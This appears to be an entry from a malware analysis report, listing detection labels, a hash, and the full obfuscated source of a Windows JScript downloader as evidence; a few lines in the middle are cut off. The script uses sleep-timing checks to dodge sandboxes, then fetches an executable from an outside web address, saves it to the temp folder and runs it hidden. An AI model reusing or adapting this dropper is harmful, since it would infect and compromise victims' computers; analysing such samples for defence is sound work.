20160328_cf1813af9ff264cb52ce1466b595d440.js
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256d515c6f54ea42d1be3d3bcd7b1bf421be330808d8f4addbcbf2eb0772aa2d794
Evidence
1var Yvmsix = false;
2var Qlyyrhqzq = "CreateObject";
3var Lyqdxzzae = function Evbxjdc() {return WScript[Qlyyrhqzq]("WScript.Shell");}();
4var Dkrpa = 123213;
5var Dlyvbbls = "MSXML2.XMLHTTP";
6var Obctlf = 2123213;
7var Ljvhxx = 0;
8function Pvxuetkcui(Rwmxmvi){Lyqdxzzae["Run"](Rwmxmvi, Ljvhxx, Ljvhxx);};
9function Nhodqmve(){return Dlyvbbls;};
10function Stvxpg(Oxuqtk, Zoniomrn){return Oxuqtk - Zoniomrn;};
11function Vehhiuhod(){return Qlyyrhqzq;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Yvmsix = true;
15 @end
16@*/
17var Sbsdmpgi = "";
18if (Yvmsix)
19{
20function Yrcxiyem(){return 22;};
21var Hiwzc = 0; var Whntfuqd = 0;
22function Veemoudf()
23{
24var Vinjlzbhik = new this["Date"]();
25var Weuyszsfn = Vinjlzbhik["getUTCMilliseconds"]();
26WScript["Sleep"](Yrcxiyem());
27var Vinjlzbhik = new this["Date"]();
28var Zpddp = Vinjlzbhik["getUTCMilliseconds"]();
29WScript["Sleep"](Yrcxiyem());
30var Vinjlzbhik = new this["Date"]();
31var Tonbjlvu = Vinjlzbhik["getUTCMilliseconds"]();
32var Hiwzc = "Hzlemvawcm";
33Hiwzc = Stvxpg(Zpddp, Weuyszsfn);
34var Whntfuqd = "Hpbtsgjw";
35Whntfuqd = Stvxpg(Tonbjlvu, Zpddp);
36Sbsdmpgi = "open";
37return Stvxpg(Hiwzc, Whntfuqd);
38}
39var Odrvncc = false;
40var Hkrulbt = false;
41for (var Qlbqxj = Ljvhxx; Qlbqxj < Yrcxiyem() * 1; Qlbqxj++){if (Veemoudf() != Ljvhxx){
42Odrvncc = tr …
49:6… drvncc && Tvmqfhlxmh() && Hkrulbt){
50function Yzrztrr() {return Lyqdxzzae["ExpandEnvironmentStrings"]("%TEMP%/") + "edsEGpl1Hx.exe";};
51 Mkpfpdihv = Nhodqmve();
52 Swylx = WScript[Qlyyrhqzq](Mkpfpdihv);
53 var Twwypfdnd = 1;
54 while (Twwypfdnd){
55try {
56Swylx[Sbsdmpgi]("GET", "http://www.suansawanresort.com/n7eua", false);
57Swylx["send"]();
58Fnszjm = "Sleep";
59do {WScript[Fnszjm](Yrcxiyem() * 11)} while (Swylx["readystate"] < 4 );
60Twwypfdnd = Ljvhxx;
61} catch(Mddwygdv){Twwypfdnd = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Cejwzzv(Yuqqcmd) {var Sqmuk = (1, 2, 3, 4, 5, Yuqqcmd); return Sqmuk;};
64Tsqzcegmuz = WScript[Vehhiuhod()]("ADODB.Stream");
65Mkpfpdihv = Tsqzcegmuz;
66Mkpfpdihv[Sbsdmpgi]();
67Mkpfpdihv["type"] = Cejwzzv(1);
68Mkpfpdihv["write"](Swylx["ResponseBody"]);
69Tsqzcegmuz["position"] = Cejwzzv(Ljvhxx);
70Mkpfpdihv["SaveToFile"](Yzrztrr(), Cejwzzv(2) );
71Tsqzcegmuz["close"]();
72Pvxuetkcui(Yzrztrr());
73}
74}
75